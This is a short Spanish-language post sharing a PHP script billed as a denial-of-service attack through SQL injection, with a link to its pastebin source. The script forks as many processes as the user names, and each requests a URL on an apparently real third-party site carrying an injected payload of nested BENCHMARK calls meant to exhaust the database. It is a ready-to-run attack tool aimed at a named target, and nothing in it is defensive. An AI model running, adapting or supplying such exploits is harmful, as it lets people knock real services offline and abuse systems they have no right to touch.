Este es un codigo PHP que encontré por ahí, es un DOS via SQL injection

<?php
#Coded By Oz
#DOS Via SQLI With Fork
$url = "http://www.docmedical.com/productos.php?t=4+and+(select+case+true+when+true+then+(BENCHMARK(999999999999,((select+BENCHMARK(999999999999,md5(9999999))))))+end)";
$pids = array();

if ($argc !=2){
echo "Falta Parametro de Conexiones \n";
echo "php script.php 100\n";
}else{

    for($x=0;$x<=$argv[1];$x++)
    {
      $pid = pcntl_fork();
       if($pid == -1) {
           die('could not fork');
      } else if ($pid) {
        $pids[] = $pid;
      } else {
       echo ".";
        file_get_contents($url);
        exit();
      }
    }
    foreach($pids as $pid) {
      pcntl_waitpid($pid, $status);

    }
}
?>


Fuente: http://paste2.org/p/346964